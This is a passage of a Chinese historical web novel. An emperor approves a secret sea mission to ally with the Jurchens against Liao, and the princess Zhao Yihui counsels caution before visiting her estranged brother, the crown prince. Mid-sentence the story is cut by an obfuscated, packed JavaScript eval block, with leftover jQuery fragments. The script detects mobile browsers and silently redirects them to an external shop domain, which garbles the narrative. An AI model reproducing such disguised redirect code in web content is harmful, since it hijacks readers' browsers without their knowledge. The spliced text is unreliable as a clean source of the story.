“朕想知道,朕手上这份密劄里所言之事,究竟是否属实。”
曹逐的语气突然变得异常坚定,“此事臣与刘枢密一同核查过,臣敢向陛下担保,陈资所言确实非虚。”
皇帝满意地笑道:“好。那过几日朕会将此事宣告给朝中重臣,卿与刘枢密到时务必在众人面前替朕定下此计。”
曹逐躬身,“臣等必谨遵皇命。”
“好。朕还有一事。”
“官家请言。”
“朕记得卿前些日子说过,苏杭应奉局有人上奏,说在平江府太湖之中发掘了一块玲珑中空的巨型奇石。”
“是,是庆远军承宣使、领苏杭应奉局朱勉所奏。”
“朕觉得此石与城北之地的艮岳园林十分相配。”皇帝说着又走回桌边,将一幅图递给了曹逐,“还歇你看,这是朕为园林亲自设计的布局图。原本这中间一处空缺甚大,朕正苦于没有既足够规模又足够珍奇的东西来填补,更重要的是,要做到与园中的景致浑然天成,如此看来此石当真是镇于此道的绝佳之物。”
“只是,朕记得当时韦司谏力阻此事,说此等巨石根本无法运送,当真是可惜。”
曹逐听着皇帝的话,低眉之间不禁流露出喜色,“陛下,朱承宣说巨石已经快要运至东京了。”
皇帝嘴角微扬,意料之中得到了这句话。
*
元旦将近,各国的贺正使都已在年前抵达东京,可是赵宜徽怎么也没有想到会出这种意外。
垂拱殿内,一屋子的官员围着皇帝,按照以往必然会重复上演臣子谏诤、皇帝头疼的熟悉剧情,可是这次,却因为一道密劄,皇帝便拍案拿定了主意。
“朕意已决,令登州知州陈资派人随龚药一同渡海,借采马战马之名去见女真人。”
事情决定得过于突然,赵宜徽甚至都怀疑皇帝是不是提前知道了消息定好了决策,今日叫他们这些人来,只是为了最后通知他们一声。
其实赵宜徽猜得不错,那道密劄确实是出现在皇帝的案头已经许久了。
密劄是北方登州知州陈资遣人送来的,上面所奏的乃是北方战局形势至关重要的新变化。
原来此前皇帝之所以同意暂时放弃伐辽,是因为陈资在劄子中提及了辽人的一支船队。这支船队的为首者名叫龚药,他们原本是在海域乘船准备驶向高丽,却在路上突遇风浪,被海流打到了天水国的登州境内,又凑巧在这里被士兵抓住,并把他们送去见了陈资。
而因为皇帝此前便隐隐有想要趁火打劫、袭击辽国的念头,于是早就将北方各地的官员都换成了新党,也就是主战派的人,这些人恨不得时时向朝中传送边境不安的消息,以怂恿皇帝发兵。陈资当然也不例外,现下他骤然见到了辽国的人,自是想从他们身上抠出些有价值的情报来。
谁知机缘偶合,竟真让他得了契机。
按照龚药的说法,他们本是辽国苏州人,但是那里前不久兴起了辽国民间的起义军,而后来起义军投靠金人,其首领不久便被金人杀害,苏州为金人所占;之后辽国又在与金的对战中节节败退,现在不仅仅是他的家乡苏州,就连附近的数个州郡也全都被金人攻克了。
也就是说,辽国现在已经是内外交困、乱成了一锅粥,并且天水国与金人之间也不似以前那般被辽国分隔开来,他们现在若是再想联金抗辽大可以直接派人过海,中间已经完全没有了辽国的阻隔。
于是皇帝心动了。
他私下里早已跟曹逐刘贯等人商量了几天,最终决定让登州知州陈资直接从当地派人,跟随船队为首者龚药借采买战马的名义过海,去面见金人当地的首领,借机打探有没有跟金人结盟攻辽的可能。
皇帝自以为这是一件有利无害之事,又不需什么兵马成本,所以今日十分坦然地将计划通知给了大臣们。
赵宜徽听后觉得计划本身似乎也可行,但是其实她心里还是不希望与辽国开战——除非辽国败局已定。但那些热衷于唱反调的人却是直起脖子便出言反对,台谏的保守派官员更是想尽办法谏言阻挠。
他们说得越激切越大声,皇帝越不爱听。后来新旧两党又争吵了起来,皇帝扶着额头,沉默许久后突然高声道:“慎儿,你来说。”
赵宜徽观战观得正投入,突然听到爹爹喊自己,停顿片刻后揖手道:“启禀陛下,臣不好评价派人过海一举是否妥当,但是臣觉得此事不宜操之过急、更不能明目张胆。因为毕竟元旦之日已近,各国的贺正使都已经来到了东京,尤其是辽使,此事若是不慎传到他们耳朵里,恐怕会横生变故。”
皇帝听后坐直了身子,“此言有理。”
刘贯却在一旁抢言道:“康王殿下见识卓越,察几知化,臣亦觉得此事确实不宜声张,所以臣请陛下传一道密旨给陈资,命其待二月初、确认辽国使臣归国后再派人出发,到时必定更加稳妥。”
仅凭一句话,就诱导皇帝提前下密旨,甚至定下了过海的时间。
赵宜徽瘪着嘴看他,“刘枢密,我是这个意思吗。”
王琳翻了一个白眼道:“刘枢密是惯会见缝插针的。”
“好了好了,朕觉得慎儿说得甚是有理,刘卿与曹相方才提的计策也好,王相跟御史台的诸位也……也辛苦了,这件事就这样定下了,若是真能借此机会拿回我朝观望已久的燕云十六州,也算是在座各位的功劳,诸卿现在就先退下吧。”说罢皇帝便起身拍拍袖子走了。
看着皇帝很快消失的身影,旧党的官员们连连摇头,叹着气揖殿而出。而赵宜徽则念念有词:“燕云十六州……”
是啊,燕云十六州。这片土地不管是对天水国的皇室、官员还是百姓而言,都是心头一块藏不住的隐痛。天水国所有的人都觉得,燕云十六州是故地,是一定要从辽人手中收复的旧土。赵宜徽当然也万分期盼,但是同时直觉告诉她,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17892672|212785||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
或许现在还不是时候。
腊月三十,除夜。
皇宫内举行了盛大的皇家家宴,而在此之前,赵宜徽终于在皇后处见到躲了她许久的太子,也就是她的二哥哥。
太子赵阚字宜奉,皇二子,皇帝长子夭亡后便将他作为长子教养,他也是已故嘉懿皇后唯一的孩子,既嫡又长,便顺理成章地被立为了太子。
只是太子幼时倒还算聪明伶俐,可是长大后却越发显得有些才质凡庸、性格柔懦。尤其是在嘉懿皇后亡故以后,赵阚被寄养在现皇后膝下,皇后孟高云待他也是极好,但他却总不似从前那般活泼聪颖。
赵宜徽出生之后二人始终相伴,开始时倒也亲密无间。但是等赵宜徽略微大些,她身上的闪光点却越来越耀眼,甚至盖过了皇子里所有人的风头——五经过目不忘,诗书出口成章,策文信手拈来,书画学从名师,就连国朝士子文人并不看重的武艺,她也是数般兵器样样精通;而她本人又温厚谦和、性情良善,由内而外挑不出一丁点儿的缺点。
有这样的女儿,谁能不喜不爱?皇帝有过之而无不及,再加之他极喜欢继后孟高云,所以对膝下任何一个孩子都没有对赵宜徽这般的宠爱呵护,从出生起她就是爹爹眼里最珍贵的宝贝——幼年便封国公,于集英殿代行唱名;成年即封亲王,判开封府事;就连给她取的名字,也是出自《尚书·虞书》中描写舜帝的句子:慎徽五典,五典克从。
同样是嫡子,宫内宫外人人都会将他二人拿来作比较,而赵阚又能拿什么去跟她比呢?
所以说后来太子与她越来越疏远,甚至躲着她倒也在情理之中。但是其实两人只是见面的机会少了很多,私下里是从来没有吵过架红过脸的。所以不管赵阚怎么想,在赵宜徽的心里,他永远是伴她一起长大的二哥哥。
而除夜这天,她刻意向皇帝讨了特旨提前进宫,为的就是在坤宁殿堵他一回。
赵宜徽去时太子正在陪着皇后说话,于是她便刻意没有让宫人们通传,而是自己悄咪咪地走了进来。
“慎儿,你怎么来得这么早?”
皇后一句话让正在饮茶的赵阚冷不丁呛了一口。
赵宜徽行过礼,笑着在赵阚身旁坐下,“我若是不早些来,怕是在孃孃这儿又见不到二哥哥了。”
赵阚拍着胸脯顺气的同时,礼貌地看向她笑了一下。
皇后道:“即使在我这里见不到,待会儿宴上也可以见呐。”
“那可不一样,按照规矩到时我与二哥哥的位置必定隔得老远,还怎么找二哥哥说话。”
皇后忍不住掩帕笑了起来,随后起身道:“那你们兄妹俩聊天吧,我先去外殿接见宗室命妇们了。”
于是兄妹二人站起,躬身相送。
可是待皇后真的走了,两人却沉默了许久。赵阚低头低了半天,最后或许是他也觉得有些尴尬,于是主动开口道:“七妹妹特意来找我,是有什么事吗?”